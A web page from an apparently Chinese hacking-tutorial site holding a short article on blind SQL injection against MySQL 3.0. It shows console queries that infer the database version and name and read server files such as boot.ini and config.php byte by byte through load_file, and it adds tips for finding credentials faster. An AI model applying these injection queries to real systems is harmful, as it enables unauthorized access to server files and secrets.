网站首页┊QQ号发布┊软件下载┊游戏外挂┊黑客技术┊广安博客┊交流论坛
设为首页
加入收藏
投稿信箱
网站首页 ┊操作系统 ┊系统集成 ┊程序开发 ┊网页制作 ┊图形图象 ┊安全技术 ┊黑客技术 ┊硬件 DIY ┊业内新闻 ┊广安博客 ┊交流社区
当前位置:广安计算机信息中心 -=> 黑客技术 -=> 黑客进阶 -=> 正文  
热门文章
 普通文章 系统溢出漏洞,利用QQ.. 
 普通文章 Windows按键突破专家.. 
 普通文章 Linux下的网络监听技.. 
 推荐文章 在管理员的眼皮子底下.. 
 普通文章 在W2K中提升权限的几.. 
 推荐文章 突破SQL注入攻击时输.. 
 普通文章 网吧入侵之攻无不克!.. 
 普通文章 黑洞防火墙操作实录 
 普通文章 成为顶级黑客(2003年.. 
 普通文章 FTP 鸡肉制作 
相关文章
推荐文章
 推荐文章 突破SQL注入攻击时输.. 
 推荐文章 在管理员的眼皮子底下.. 
关于mysql 3.0的注射的一点思路 【字体:大 中 小】
作者:[Seraphim] 来源:[岁月联盟] 浏览:[ ] 评论:[] 
 
mysql 3.0的注射

对mysql的注射主要是靠union 的联合查询,但union只对版本4。0以上的有用,对3。0以下的就没用了。。。。。。。。。。

所以在mysql 3.0的数据库里没办法使用union进行跨表查询,但可以使用load_file
但是也不可以直接使用union替换出来。 下面就是我的一点思路:

得到版本:
mysql> select * from user where userid=1 and length(version())<10;
Empty set (0.00 sec)

mysql> select * from user where userid=1 and length(version())<1777;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)

得到当前数据库:
mysql> select * from user where userid=1 and length(database())>0;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)

暴取文件代码:
mysql> select * from user where userid=1 and ascii(mid(load_file('c:/boot.ini'),1,1))<1;
Empty set (0.05 sec)

mysql> select * from user where userid=1 and ascii(mid(load_file('c:/boot.ini'),1,1))>1;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)

因为工作量大,可以用程序来实现(不过也很麻烦)
另外思路: 可以先使用字符处理函数得到"特殊字符的位置",如我们暴的是config.php文件我们就可以选取"localhost"(或其他)为特殊字符,先得到所在的位置(在哪个字节),在去猜它附近的,这样可以省去不少工作量。

]]>
【 打印 】【 收藏 】【 评论 】
评一评(点击可查看更多评论)
广告服务

此广告栏虚位以待
设为首页 - 加入收藏 - 关于我们 - 广告服务 - 版权申明 - 友情链接 - 网站地图